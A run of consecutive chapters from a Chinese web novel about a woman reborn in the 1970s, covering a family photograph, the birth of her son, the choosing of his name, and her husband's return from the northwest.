“首长好。”老师傅笑着打招呼,“您看咱们在哪儿拍?院子里光线好,背景也敞亮。” 姜老爷子对于不能去照相馆拍照,也没有异议。 本小章还未完,请点击下一页继续阅读后面精彩内容!最终他们选定了院子里那棵老海棠树下,此时虽无花,但枝干遒劲,别有风骨。 工作人员帮忙搬来了几张靠背椅。 “先拍张最大的全家福!”陆老爷子发话。 于是,两位老爷子被请到正中坐下,陆老爷子还特意整理了一下自己的衣领。 姜国柱老爷子则笑得眼角的皱纹都舒展开了。 “小桃子,来,到太爷爷这儿来!”姜老爷子朝重孙女招手。 小桃子今天穿上了何婉仪给她换上的红色新外套,欢快地跑过去,被两位太爷爷一左一右揽在怀里。 接着,陆父陆母、陆二叔二婶、陆小姑一家四口、陆良谨时书岚夫妇以及五个半大小子,按照辈分和身高依次站在后排。 陆良辰小心地扶着姜海棠,站在了两位老爷子身后的正中央位置,凸显出她今日“主角”的地位。 大家站定,气氛庄重又难掩喜悦。 “等什么时候,良栖和良琪夫妻带着孩子回来,我们这一家子就算真的团聚了。” 陆老爷子看着二房的孩子都不在,多少还是有点遗憾的。 “很快会好起来的,快了!”姜国柱压低声音说了一句。 多少家庭,为了避免浩劫,让孩子分散在各处,陆家被盯上之后,也不得不将几个孙子都分散在各处。 因为还有外人,两个人也没多说,而是专心地开始照相。 老师傅在相机后调整着,声音传来:“好嘞!大家看这里!都笑一笑!对,自然点!” “一、二、三!” 咔嚓! 白光一闪,第一张满载着荣耀与团圆的全家福就此定格。 拍完全家福,老师傅笑着说:“首长,您看接下来怎么拍?” 陆老爷子对姜国柱说:“老姜头,你和海棠、良辰还有小桃子照一张。” 照相的老师傅并不知道这些人彼此之间的关系,但小张知道啊,他很是好奇,为什么首长要安排陆厂长一家人和姜老一起拍照? 莫非外面传言说,姜老打算和陆家认干亲这事儿是真的? 仔细一想,好像也没什么不对,毕竟,两位老首长的关系好,陆厂长据说也是姜老爷子看着长大的。 姜老爷子无儿无女,孤单一个人,要是认个干亲也不错。 姜国柱连连点头,眼中泛起一丝不易察觉的泪光。 他这一生跌宕,晚年才祖宗保佑才寻找到这唯一的血脉,偏生目前还不能相认。 工作人员搬来一张椅子,姜国柱端坐其上,许是因为第一次和亲孙女拍照,老人家精神的不得了,甚至背都格外挺拔。 姜海棠和陆良辰一左一右站在姜国柱的身后,姜海棠的手轻轻搭在爷爷肩上,陆良辰则站得笔挺,一手护在妻子腰后。 小桃子蹦蹦跳跳地找自己应该站在什么地方,就听到姜国柱喊道:“来来来,我们小桃子要坐在太爷爷的腿上。” 小桃子想了想,歪着脑袋说:“可是太爷爷的身体不好,小桃子胖胖的,坐在太爷爷的腿上没问题吗?” 小姑娘是真的很担心,把太爷爷给压坏了怎么办? 姜国柱哈哈大笑起来:“太爷爷还不至于脆成这样,连你一个小姑娘都抱不住。” 其他人也哈哈大笑起来。 小桃子这才乖巧地爬到姜国柱的腿上,靠在姜国柱的怀里坐下来,还小心翼翼地扭头看看,太爷爷是不是被自己压坏了。 确定姜国柱脸上没有一点痛苦的表情,小桃子才放心下来。 太爷爷不疼就行! 姜国柱伸出布满老年斑却温暖干燥的大手,轻轻握住小桃子的小手,另一只手则抚在膝上,腰板挺得笔直,脸上是无比满足和欣慰的笑容。 这一刻,血脉相连的温情在空气中静静流淌,看得不知情的小张忽然都有一种莫名的感动。 他觉得,这没有血缘的几个人,竟然好像血脉相连一般! 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第303章 要生了 老师傅敏锐地捕捉着这感人的一幕,调整角度,连按了好几次快门。 “咔嚓!” “咔嚓!” 接着,又给陆良辰一家单独照了几张,有两人并肩而立,相视而笑的;有陆良辰小心翼翼扶着妻子,低头看向她腹部的温馨画面;还有姜海棠抱着小桃子,陆良辰张开手臂将母女二人一同拥入怀中的……每一张都充满了爱意。 总之,家里的人各种组合各种拍照,一个早上的时间,足足拍满了两卷胶卷。 老师傅也高兴得不得了,这一大家子人,男的俊女的美,就连上了年龄的,也是精神矍铄,拍出来的照片肯定也好看。 等他回去,就要立即以最快的速度将这些照片冲洗出来。 送走老师傅,院子里似乎还残留着刚才热闹喜庆的气息。 小桃子和几个哥哥兴奋地绕着大人们跑圈,模仿着照相师傅喊“咔嚓”的样子。 姜国柱老爷子久久地站在海棠树下,望着孙女和重孙女,目光深远而满足。 陆良辰揽着姜海棠的肩膀,轻声说:“等照片出来,我带一张回西北。想你们的时候,就能拿出来看看。” 姜海棠靠在他肩上,温柔地笑了。 照片赶在陆良辰返回西北之前洗出来了。 厚厚的纸袋打开,拿出那张大大的黑白全家福时,所有人都围了上来。 照片上,每个人笑容真切,目光炯炯,两位老爷子威严中带着慈祥,小桃子笑得见牙不见眼,姜海棠温婉坚毅,陆良辰挺拔可靠,身后的家人们也都洋溢着幸福。 一张无比完美的全家福。 “照得真好!”何婉仪忍不住赞叹。 “太爷爷,看我!我在这里!”小桃子兴奋地指着照片中央的自己。 “我们家小桃子是最漂亮的,太爷爷一眼就看到了。”姜国柱哄着小桃子开心。 陆良辰从一大摞照片中,挑选了一张姜海棠的个人照、一张全家福,还有一张他们一家三口的照片回西北去了。 姜海棠则开始了在京城的翻译工作。 她对工作精益求精,她不仅准确翻译,还会在晦涩处附上简洁的技术注解和自己的理解,这让部里对接的技术人员如获至宝,几次三番通过袁一楠表达感谢。 依靠着陆家几位长辈,姜海棠也看到了不少稀缺的书籍,对当前的纺织机械有了更多的了解。 家里的人,对姜海棠十分照顾,就连时书岚对姜海棠也颇为照顾。 姜海棠住了一段时间之后,基本上弄清楚了,没有分家,住的房子是陆老爷子分的房子,不用自己掏房租。 但家里人都会交家用,陆父陆母每个月交四十块钱,陆二叔和袁一楠比照这个标准,一个月也是四十块,陆良谨和时书岚两口子交三十块一个月,陆家其他两个在外的兄弟,因为孩子在家,每个月也会寄回来十块钱。 姜海棠想了想,拿了八十块钱去找何婉仪。 “妈,这是我交的家用。”姜海棠笑着将钱递给何婉仪。 何婉仪忙推回去。 “你这孩子,这是干什么,家里不缺你这点钱。” “妈,不是家里缺不缺的问题,而是其他人交了,我们也必须要交。”姜海棠十分坚持地说道:“以前我不在家里住也就罢了,现在和我小桃子都在家里,一个月应该比照大嫂和大哥,交三十块,还有小桃子在家住了五个月,一个月交十块钱也合理。” “之前我忽略了这个问题,是不是让您难做了?” 何婉仪拍拍姜海棠手:“你这孩子,怎么这么客气?小桃子能吃多少。” “妈,您就收下吧。” 何婉仪从姜海棠手里抽出二十块钱,说道:“你一个月交二十的家用也够了,这二十我收下。” “小桃子之前的……” “你爷爷说了,小桃子虽然是放在你们名下,可她是陆家的孩子,不能只让你们负担,以后小桃子在家里住的一应开支都是公中支付。” 姜海棠没想到,陆老爷子竟然之前就已经和家里人商量过小桃子的事情了。 “妈,不用这样,我和良辰,我们能负担小桃子。既然当初收养了她,我们就当她是亲女儿一样。”姜海棠柔声说着。 “海棠,人心难测,你们虽然当小桃子是自己女儿一样,可是外面的人未必会这样想。” 姜海棠沉默了,她也知道,老爷子这样做,是为了保障小桃子的以后。 毕竟,不是亲生的孩子,说不定就会被人看轻,但如果陆家所有的人都能护着小桃子,那外面的人便不会看轻她。 “你也不用有心里负担,话都是说开的,不管是你二婶,还是你大嫂,他们都没有意见。以后,你在家里住就交家用,你不在家里住,小桃子不用专门交。一家子人虽然要算明白,但也不用太明白,要不然,就生分了。” 姜海棠点点头,应下。 婆婆是家中长媳,对如何与一大家子人相处,肯定比自己有经验,姜海棠决定,只要有时间,就给家里买些东西,也算自己的心意。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!虽然一大家子人一起生活,可是陆家并没有鸡飞狗跳,相反,过得还挺温馨。 日子一天天过去,很快到了秋天,姜海棠的肚子越来越大了。 她手中需要翻译的资料也已经翻译完毕,在生孩子之前,她没有接新的任务。 实际上,这些资料交给姜海棠的时候,上面的人也没有想过姜海棠能这么快翻译完。 目前专业的翻译,每天能翻译的字数也不过是四千到五千字而已。 但姜海棠翻译速度明显比其他人都要快,她每天差不多能翻译六到七千字。 翻译费是每千字五块钱,算下来,姜海棠一天就能拿到三十多块钱,也就是普通工人一个月的工资。 三个月时间,姜海棠拿到了将近三千块的翻译费。 赚到这么多钱,姜海棠是比较满意的。 将来,京市的房价有多高,就算她也是听说过的。 现在陆老爷子活着,她和良辰可以住在陆家,但他们不可能一辈子住在这里,将来还是要有自己的房子。 现在就得存钱,改革开放之后,才能买得起房。 陆家人也知道,姜海棠这段时间赚了不少钱,但家里的人也知道,姜海棠这段时间有多么辛苦。 她每天从起床开始,到晚上睡觉,大部分时间都在勤劳工作,不敢懈怠一点。 三千块钱,赚的并不容易。 因此,家里人只有心疼她的,并不羡慕嫉妒她能拿到这么多钱。 尤其是袁一楠,知道姜海棠如此辛苦,也是为了在生孩子之前能完成翻译任务,是责任心使然,对她更加心疼几分。 随着姜海棠的预产期越来越近,行动也日渐不便,陆家人不放心她一个人出门,就算大院里遛弯,也有人跟着。 何婉仪和袁一楠变着花样给她补充营养,陪她散步,事无巨细,体贴入微。 陆老爷子和姜国柱留在家里的时间也增加了,每天都陪着姜海棠。 这段时间,陆良辰的工作似乎很忙,但是三天一封信,却没有断过,隔几天还会打一个长途电话过来,叮嘱姜海棠注意身体等等。 “海棠,你预产期就在这几天了,良辰有没有说什么时候回来?”何婉仪已经开始帮姜海棠准备待产包了,但儿子这几天没有打电话来,什么情况也不知道。 “他上次打电话说会赶在预产期前回来,也不知道那边忙完了没有。”姜海棠其实也很想念陆良辰。 她只剩姜国柱一个亲人,可姜国柱是个大男人,不懂女人生产这些事,加上是长辈,能给予的帮助很少。 她希望陆良辰能陪在自己身边。 但,如果陆良辰不能及时赶回来,她也只能自己面对。 这天傍晚,姜海棠正由何婉仪陪着在院子里慢慢踱步,忽然觉得腹部传来一阵紧过一阵的、规律性的坠痛。 她停下脚步,轻轻“嘶”了一声,扶住了腰。 “海棠,怎么了?”何婉仪立刻紧张地问。 “妈,我好像……要生了。”姜海棠还算镇定,但声音里依旧带着一丝不易察觉的颤抖。 虽然早有准备,但这一刻真正来临,第一次生产的她难免紧张。 何婉仪一听,立刻高声喊人:“良谨!快!准备车!海棠要生了!一楠!快把准备好的待产包拿出来!” 听到何婉仪的喊声,整个陆家老宅瞬间忙碌起来。 陆良谨飞快地跑去找司机,陆老爷子和姜老爷子两个人都有车,最近这段时间,每天都有一辆车在大院里待命。 今天轮到姜老爷子的车待命,陆良谨要抓紧跑过去。 袁一楠和时书岚拿着早就收拾好的脸盆、毛巾、换洗衣物和奶粉等东西。 很快,陆老爷子和姜老爷子也赶了过来,两位历经风浪的老人此刻脸上也写满了紧张和期待。 “快!快去医院!路上小心!”陆老爷子连声吩咐。 “海棠,别怕,放松呼吸。”姜国柱则努力镇定地安慰孙女。 他是她唯一的亲人,是要跟着去医院的,但家里其他人都反对。 医院里乱糟糟的,姜老爷子身体又不是很好,要是疏于照顾怎么办? 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第304章 小桃子害怕了 “姜爷爷,我们会照顾好海棠的,你还是在家里等消息吧!”时书岚劝道。 姜老爷子坚定地摇摇头:“书岚,我没办法留在这里等,你们别劝我了,就让我去医院吧!” 虽然知道陆家人都很好,关键时候也不会舍弃孙女儿,可这种时候,他还是想要亲自守着孙女儿才放心。“” 就在这一片忙乱却有序的准备中,大门外突然传来急促的刹车声和脚步声! 一个风尘仆仆拎着行李袋的高大身影猛地推开院门,大步流星地闯了进来。 不是别人,正是陆良辰! 他额上带着汗,眼神急切地扫视一圈。 他在看到被何婉仪搀扶的姜海棠之后,扔下行李袋就冲了过去,一把紧紧握住姜海棠的手,“棠棠,我回来了!对不起,差点晚了!” 他的声音因为赶路而有些沙哑,却带着无比的心疼和庆幸。 他几乎是日夜兼程,总算赶上了! 看到丈夫突然出现在眼前,姜海棠一直强装的镇定瞬间瓦解,委屈、依赖和安心交织在一起,让她眼圈一下子就红了,反手紧紧抓住他的大手,仿佛找到了主心骨。 “良辰……你终于回来了……” “回来了!我回来了!别怕,我陪着你!”陆良辰的声音无比坚定,他小心地半扶半抱着妻子,看向何婉仪:“妈,车准备好了吗?” “好了好了!良谨已经让小李把车开到门口了!快走!” 陆良辰二话不说,一把将姜海棠打横抱起,步伐稳健却又极其小心地快步朝门外走去。 姜海棠将脸埋在他带着风尘气息却无比熟悉的胸膛前,阵痛似乎都减轻了不少。 一行人匆匆赶到医院。 办理手续、送进产房前,陆良辰始终紧紧握着姜海棠的手,不停地给她擦汗,低声鼓励她。 他的到来,让姜海棠原本慌乱的心得到了安宁。 因为姜老爷子坚持要来医院,最终,陆老爷子还是陪着姜老爷子一起过来了。 这里是军医院,大夫是认识姜老爷子和陆老爷子两个人的,看着这两位大佬一起出现在医院里,大夫先是吓了一跳,后来打听到是陆老爷子的孙媳妇生孩子,这才了然。 不过,还是在猜测,陆老爷子的孙媳妇生孩子,为什么姜老也会出现在医院里。 甚至有人再度说起那个关于陆老爷子要把陆良辰过继给姜老爷子的传言,甚至有人说,可能不是过继孙子,而是过继重孙子等等。 不管医院里的医护们是如何议论,产房外,陆家一大家子人或坐或站,焦急地等候着。 陆良辰更是坐立不安,不停地踱步,耳朵竖着,捕捉着产房里的任何一丝动静。 每一次里面传来细微的声音,他的心都揪紧一下。 “姜爷爷,您和爷爷先去休息一下吧,刚才让医院开了一间空闲的病房。”知道两位老爷子不可能这么容易离开,时书岚想法子让医院开了空的病房。 家里还有几个小的,因此,陆良谨和陆二叔两个留在家里,其他人现在都还守在医院。 两个人年龄大了确实有些撑不住,对视一眼之后,一起去了病房。 “老大媳妇,你们在这里守着,要是有消息了,一定过来告诉我们。” “放心吧,爷爷,我保证第一时间过去给你们报告好消息。” 两位老爷子这才去休息。 时间一分一秒地过去。 终于,在天快蒙蒙亮的时候,产房内传来一声响亮而有力的婴儿啼哭! “生了!生了!”时书岚立即精神起来,大声喊道。 门外等待的众人瞬间精神一振,全都站了起来。 时书岚想起给两位老爷子的承诺,立即冲到老爷子们休息的病房里去找人。 而产房门口,护士抱着一个襁褓走出来,脸上带着笑容:“恭喜恭喜,是个大胖小子!母子平安!” 所有人瞬间围了上去。 陆良辰第一个冲过去,不过,并不是去看孩子,而是焦急地问道:“护士,我媳妇呢?怎么还没出来?” 护士没想到陆良辰过来不看孩子,而是直接找产妇。 “产妇马上送回病房,您稍安勿躁!” 陆良辰听到这个消息,才算安心下来。 何婉仪抱着小孙子,对旁边的袁一楠说道:“你看看,这小子长得可真好。” “良辰,过来抱上你儿子,我们去病房里等海棠。”何婉仪看着儿子眼巴巴地看着产房门口,忙喊他。 “妈,我在这里等等海棠,她出来看不到我会难过的。” 几个人说话的时候,两位老爷子已经在时书岚的陪伴下过来了。 姜国柱看到小家伙的时候,手甚至有些颤抖。 何婉仪知道,姜老爷子应该是想抱抱小家伙的,她笑着将小家伙递给姜国柱。 姜国柱看了何婉仪一眼,这才小心翼翼地接过那个小小的、皱巴巴的婴儿。 看着怀里这个闭着眼睛、咂着小嘴的新生命,这个在战场上不曾流泪的汉子,眼眶瞬间就湿了。 这章没有结束,请点击下一页继续阅读!这是他的血脉亲人啊! “好,真好,真好!” 等看完了小重孙,姜国柱这才想起来:“海棠呢?怎么还没出来?” 这边话音才落,就听见护士说道:“姜老您别担心,产妇很好,就是累了,正在休息,一会儿就推出来。” 姜国柱这才彻底放下心来,又低头看小重孙子。 陆良辰却只看了一眼儿子,又抬头看向产房门口,眼中的担心毫不掩饰。 “良辰,没事的,护士都说了,好着呢。”何婉仪微微摇头,对儿子说。 等到姜海棠被推回病房,虽然疲惫,但精神尚好。 陆良辰立刻将孩子抱到她身边,让她看。 “海棠,你看,我们的儿子,像你。”他的声音温柔得能滴出水来。 姜海棠侧头看着身边这个小家伙,心中充满了难以言喻的幸福和满足。 她轻轻碰了碰儿子的小手,那软软的触感让她心都化了。 这么小的一点点,是她血脉相连的亲人呢。 在这个世上除了爷爷之外,她有了另外一个血脉亲人,真好! 天亮之后,小桃子被陆良谨带来了医院,听到妈妈已经生了小弟弟,小桃子欢喜得不得了。 她踮着脚尖,好奇地看着小床上那个小小的“弟弟”,小声问:“妈妈,弟弟好小哦,他什么时候能跟我玩?” 一句话逗笑了所有人。 “等弟弟长大一点就可以陪着小桃子玩了。”姜海棠温柔地对小桃子说道。 小桃子从口袋里拿出一块糖,放在小家伙的身旁:“妈妈,这个糖给小弟弟吃,这是我专门给小弟弟存下来的哦!” 何婉仪抱起小桃子,又将婴儿旁边的糖递给小桃子说:“小弟弟还太小了,不会吃糖,小桃子吃就好了。” 小桃子显然不能理解小家伙为什么不能吃糖,端详了半天,问到:“奶奶,是因为小弟弟的嘴巴太小不能吃糖吗?我给他咬一半好不好啊?” 小小的她,除了觉得是因为小家伙太小不能吃糖之外,实在想不出来其他理由。 何婉仪说:“他要长大后才能吃糖,要等到明年过年的时候,才能吃糖呢。” 小桃子听了之后,觉得挺失望了,竟然需要这么长的时间吗? 不过,小孩子的情绪变化总是很快,虽然遗憾小弟弟竟然要这么长时间之后才会吃糖,但很快又欢喜了起来,不停地围着小家伙转。 小家伙许是饿了,忽然就哇哇大哭起来。 小桃子吓一跳,急忙后退了一步,茫然地看向何婉仪。 “奶奶,不是我……”小家伙显然很害怕。 何婉仪没想到,小桃子会因为小孩子哭就吓成这样,她立即将询问的目光看向姜海棠。 然而,姜海棠也不知道为什么小桃子的反应会这么大。 “小桃子,不用怕,弟弟只是饿了。”姜海棠拉过小桃子,温柔地笑着对她说。 姜海棠的奶还没有下来,因此,何婉仪给小家伙冲了奶粉。 姜海棠得以在旁边耐心和小桃子说话。 “弟弟哭了……”小桃子嗫嚅说道。 “小孩子哭是很正常的,小桃子不用怕。”姜海棠拉着小桃子的小手手问:“小桃子为什么害怕小孩子哭?” “妈妈,以前小弟弟哭,婶娘就会打小桃子,说小桃子不好惹哭了弟弟,可是,小桃子没有……” 姜海棠听到小桃子说这话,十分震惊。 小桃子被带到纺织厂的时候,只有三岁,按道理三岁之前的孩子应该不记事,可是这件事却能在这么久之后,还让小桃子有这么大的反应,可见,是当时的记忆太深刻了。 “小桃子不怕,小孩子哭是正常的,有可能是饿了,也有可能是尿了拉了不舒服了,不是小桃子的错。” “妈妈相信,我们小桃子是十分爱护小弟弟的对不对?” 小桃子立即重重点头,说道:“妈妈,我会保护好小弟弟的!” 这时候,何婉仪的奶粉也冲好了,等喝到奶之后,小家伙果然就不哭了,蠕动着小嘴巴一口口地开始吸奶。 看着眼睛都不睁的小家伙,小桃子瞪着大眼睛,几乎不敢相信地捂住小嘴巴说道:“妈妈,真的,小弟弟不哭了。” 姜海棠看着小桃子如此,说不心酸那是假的,当初那几年,小桃子到底受了多少罪啊。 “良辰,我们以后要对小桃子好,不能再让她受委屈了。”姜海棠对陆良辰说道。 “不会让她受委屈的,我们的女儿,值得最好的。”陆良辰抱着女儿坐在姜海棠的身边。 “妈妈,小弟弟叫什么啊?”小桃子想起来这个问题,问道。 这一说,众人才想起来,孩子还没有名字呢。 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第305章 陆建国小朋友 “哎呀,老姜头,我们得给孩子取名字。”陆老爷子立即说。 “他哥哥们都是国字辈,这孩子应该叫什么?” 之前都忘了取名字这回事,这会儿忽然要想,还真有点想不起来。 “要不,就叫陆建国?” 姜海棠一听,脸上的笑容瞬间凝结了。 陆建国? 这名字,也太接地气了一点点吧? 虽然接地气也没什么不好,但是,姜海棠还是希望孩子的名字能够稍微好听一点。 她又不好说,只能急忙求助陆良辰。 还不等陆良辰说话,小桃子开口了。 “我叫小桃子,小弟弟为什么要叫陆建国?” 奶声奶气的声音瞬间让众人都愣了一下,显然,大家都没想到,小桃子会忽然说出这一句。 陆良辰简直想抱着小桃子亲一口了,真是他的乖女儿。 “那小桃子觉得,小弟弟应该叫什么啊?”陆老爷子饶有兴致地问道。 小桃子歪着小脑袋想了好一会儿说:“我叫小桃子,小弟弟应该叫小橙子。” 这个名字,完全无违和感,甚至很对仗,但是一个男娃叫小橙子,是不是有点娘了? 何婉仪噗嗤一声笑出来,说道:“小桃子,是你想吃小橙子了吧?” 众人不由都笑起来。 姜海棠笑过之后说道:“小橙子当小名是挺好的。” 被姜海棠这么一提醒,众人也觉得,小名就叫小橙子确实不错。 小桃子听到自己的建议被采纳的时候,欢喜的不得了。 “妈妈小弟弟以后就叫小橙子了吗?” 姜海棠肯定地点点头:“小橙子和小桃子一样,是小名,就像小桃子大名叫陆幼薇一样,小弟弟还要取一个大名才行。” 对于大名叫什么,小桃子还真没有概念。 她只管跑到小家伙旁边喊小橙子去了。 而一旁的大人们还在讨论着小家伙的大名应该叫什么。 很快,就将小橙子的名字定了下来,就叫陆翊国,取“翊赞家国”之意,既符合陆家这一辈的“国”字辈,又寄托了长辈们对他的期望。 姜海棠对这个名字很满意,只要不叫陆建国,姜海棠基本都是满意的。 姜海棠是第三天出院的,期间陆良辰一直细心照料。 姜海棠出院之后,陆良辰又在家里带了两天就要离开了。 虽然万分不舍,但他还有一些工作没做完,必须返回西北了。 临走前,他抱着小橙子亲了又亲,又仔细叮嘱小桃子要听妈妈和奶奶的话,最后紧紧拥抱了姜海棠。 “等我,争取过年的时候我就调回来!”他在她耳边低声承诺。 “嗯,我和孩子们在家等你,一切小心。”姜海棠靠在他怀里,强忍着离别的酸楚,挤出一抹笑容。 小桃子也有点舍不得陆良辰离开,可因为有小橙子和姜海棠二人在,小桃子的伤感很快被冲散了。 陆良辰走后,姜海棠的月子并没有因为他的离开就有什么变化,而是坐得很舒心。 何婉仪和袁一楠几乎是拿出了看家本领,各种滋补汤水轮番上阵,王婶也变着法子做可口又利于恢复的饭菜。 时书岚时常过来陪她说话解闷,还会带来一些外面新出的连环画给小桃子看。 虽然最初小桃子在小橙子哭闹的时候还有一点恐惧,但在姜海棠和何婉仪耐心反复的解释和安抚下,渐渐消散了。 她发现,弟弟哭真的不是因为自己,而且妈妈和奶奶也不会因此责怪她。 小桃子开始大胆地和小弟弟玩耍,每天醒来第一件事就是跑去看弟弟,还会学着大人的样子,用小手轻轻拍哄哭闹的弟弟,虽然动作笨拙,却充满了爱意,让姜海棠觉得很暖心。 小橙子醒着的时候,小桃子会和他说话。 也不知道小家伙听懂了没有,反正是会睁着明亮的眼睛看着姐姐。 再到后来的时候,还会咿咿呀呀地回应着。 “哎呀,小橙子可真聪明,知道小桃子是姐姐,正在和姐姐说话呢。”何婉仪看到的时候都觉得惊讶。 还真没见过这么小的孩子懂得回应的。 但姜海棠觉得,这就是巧合。 和小桃子不同,其他几个国觉得,弟弟没有什么好玩的,毕竟,家里哥哥弟弟好些个了。 要是个妹妹的话,他们会更加感兴趣一些。 这段时间,姜国柱老爷子几乎天天都来陆家老宅报到,抱着小重孙就舍不得撒手,脸上的笑容就没断过。 和陆老爷子下棋时,话题也总是围绕着两个重孙辈,争辩着小桃子更聪明还是小橙子更壮实,虽然依旧会拌嘴,但气氛却比以前更加融洽。 转眼之间,姜海棠已经出了月子,她的身体在何婉仪和袁一楠的照顾下恢复得很好。 这个时代的产假一般是四十天,等过了四十天,姜海棠觉得自己恢复得好,便开始重新投入到了翻译工作中。 袁一楠暂时只拿来了一小部分资料,让姜海棠每天多一些时间休息。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!但姜海棠是闲不下来的性格,不忙的时候,她开始着手整理自己之前的设计笔记和从国外文献中汲取的灵感,思考着下一步的研究方向。 她知道,虽然现在借调在部里做翻译,但她的根还是在技术研发上。 终究,她要继续从事纺织机械的研究。 偶尔,天气晴好的时候,她也会抱着小橙子,牵着小桃子,在何婉仪或时书岚的陪伴下,去附近的公园散步。 小橙子很乖,尤其是去外面的时候,更是乖巧的不得了,只要醒着能一直眨巴大眼睛看风景,一声都不哭。 看着小桃子在草地上奔跑嬉戏,怀里的小橙子咿咿呀呀地挥动着小手,姜海棠感到一种前所未有的平静和幸福。 这种琐碎而真实的日常生活,是她上辈子连奢想都不敢的,这辈子却已经拥有,真好。 这段时间,姜海棠不断收到陆良辰从西北寄来的信和包裹。 信有陆良辰写的,也有其他人写给姜海棠的,包裹里的东西也一样,有些是陆良辰自己寄过来的,有些是帮其他人寄过来的。 毛厂长也委托陆良辰寄了不少东西过来,有些是厂里发的福利,有些是给孩子的礼物。 还有纺织厂和清水沟的一些关系好的人,也杂七杂八地让陆良辰寄了不少东西回来。 这些东西说不上多好,但这是大家的一片心意,姜海棠便也写信回去给他们道谢。 大柱还写了一封很长的信,上面说的都是一些关于农业机械的,有自己研究出来的成果,也有迷惑不解的地方。 看过之后,姜海棠便知道,大柱成长得很快,他对于农业机械果然有专长。 姜海棠在京城弄了几本相关的书籍给大柱寄过去,也顺便解答了大柱在信里提到的疑惑。 至于陆良辰的信总是最长的,信里写满了思念,也会简单的说一说目前工作方面的进展,但都是浅尝辄止。 姜海棠每次都会把信挑挑拣拣地读给小桃子听,告诉她爸爸很想她,也很想小橙子。 陆良辰是真的做到了一碗水端平,在给孩子们准备东西的时候,有小橙子的,就有小桃子的,不偏不倚。 日子就这样平静而充实地流淌着,姜海棠能感觉到,京城的气氛已经变得逐渐轻松。 小橙子一天天长大,变得白白胖胖,黑溜溜的眼睛像极了姜海棠。 小桃子也愈发有个姐姐的样子,会帮着奶奶给弟弟拿尿布,还会在弟弟哭闹时,像模像样地给他唱儿歌。 转眼到了年底,京城下了第一场雪。 院子里银装素裹,几个男娃兴奋地拉着小桃子堆雪人、打雪仗。 几个孩子玩得开心的不得了,姜海棠抱着裹得严严实实的小橙子,站在廊下看着,小桃子咯咯笑着说,这样也算弟弟和他们一起玩了。 就在这时,院门外传来了熟悉的洪亮且急切的声音:“海棠!小桃子!我回来了!” 姜海棠猛地转头,只见陆良辰穿着一身军大衣,肩上落着雪花,正大步从门外走进来,脸上带着风霜仆仆,眼神却亮得惊人! 陆良辰回来了。 小桃子先是一愣,随即尖叫着“爸爸!”,像只快乐的小鸟一样扑进陆良辰张开的怀抱里。 陆良辰一把抱起女儿,高高举起,惹得小桃子咯咯直笑。 然后,他的目光越过女儿的肩膀,精准地捕捉到了廊下那个抱着孩子、眼眶微红却笑容灿烂的身影。 他单手抱着咯咯笑的小桃子,大步走过去,在姜海棠面前站定,目光深深地凝视着她,又低头看看她怀里正好奇瞪着他的小橙子,声音有些哽咽:“海棠,我回来了。” “回来就好。”姜海棠没敢问,这次回来之后,还走不走了。 毕竟,调工作这种事,说容易就容易,说难的时候,也会非常难。 说不定,陆良辰回来只是为了过年。 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第306章 消息 陆良辰另一只手伸出去,将姜海棠和她怀里的小橙子一同揽入怀中。 冰冷的军大衣沾染着外面的寒气,却丝毫驱不散重逢的炙热心情。 几个小孩子看到三叔(三伯)的时候,也是欢呼着围拢过来。 毕竟,陆良辰每次回来,都会带好吃的给他们。 家里其他人听到陆良辰的声音,也从屋里出来了。 一家子人回到屋里,姜海棠给陆良辰准备了换洗的衣物和热水,让陆良辰赶紧去洗漱。 火车上好几天的时间,整个人都有味道了,其他人不要紧,没看到小橙子的小鼻子都已经皱到一起了? 显然,小家伙很嫌弃这样的爸爸。 “你怎么也没提前拍个电报回来,让你哥去车站接你。”何婉仪看着儿子风尘仆仆的样子,说道。 “我自己就回来了,这么大的人了,不用我哥接。今年二哥和四弟回来过年吗?”陆良辰一面脱大衣,一面顺嘴问。 “应该是不回来的,你二哥写了信说这段时间工作有点忙,等忙完了就回来,你四弟说媳妇刚怀孕,大夫让养着,暂时不回来,等孩子稳定了,再回来。”何婉仪叹一口气说道。 这样的日子也不知道要等到什么时候才算完,一家子人,这样支离破碎的分在各地,自己也就罢了,好歹长子在身边,小儿媳妇和小孙子孙女也留在身边了。 只可怜二房一家子,两个孩子都不在身边,袁一楠虽然不说,但心里到底是思念。 “再等等,我们一家人总能团聚。”陆良辰能感觉到,局势已经完全不同了,团圆应该就在咫尺。 因为陆良辰回来,又额外多准备了两个菜,好在临近过年了,家里的一切准备都是充足的。 陆良辰洗漱完毕,换上一身干净的家常棉袄,整个人清爽了许多,那股子火车上的疲惫和风尘气息也被家的温暖驱散。 他回到客厅,第一个动作就是伸手去抱姜海棠怀里的小橙子。 小家伙刚喝了奶,正精神着,睁着乌溜溜的大眼睛好奇地打量着这个“陌生”的男人。 许是血缘天性,又或许是陆良辰洗去了身上的异味,小橙子这次没有嫌弃,反而伸出小手,咿咿呀呀地朝着陆良辰的方向抓挠。 陆良辰的心瞬间软成一滩水,小心翼翼地从姜海棠手中接过儿子,动作说不上多么标准,但还算不错,姜海棠悬着的心算是放下了。 不摔到孩子就行! 陆良辰将儿子抱在怀里,轻轻颠着,低头用额头蹭了蹭儿子软嫩的小脸蛋,声音温柔得能滴出水来:“小橙子,我是爸爸,还记得爸爸吗?” 小橙子自然不会回答,只是继续咿咿呀呀,小嘴巴吐着泡泡,似乎在回应。 小桃子立刻挤到爸爸腿边,仰着小脸表功:“爸爸爸爸!我有好好照顾弟弟!我还给他唱歌了!弟小橙子和我一样聪明呢,都会和我说话。” 陆良辰空出一只手,揉了揉女儿的头发,夸赞道:“爸爸知道,我们小桃子是最棒的姐姐!谢谢小桃子帮爸爸妈妈照顾弟弟。” 得到爸爸的肯定,小桃子高兴得眼睛都眯成了月牙儿。 何婉仪和袁一楠看着这父子三人互动的一幕,相视而笑,眼里满是欣慰。 何婉仪笑道:“快开饭了,良辰这一路肯定饿坏了。海棠,把小橙子给我吧,让良辰好好吃饭。” 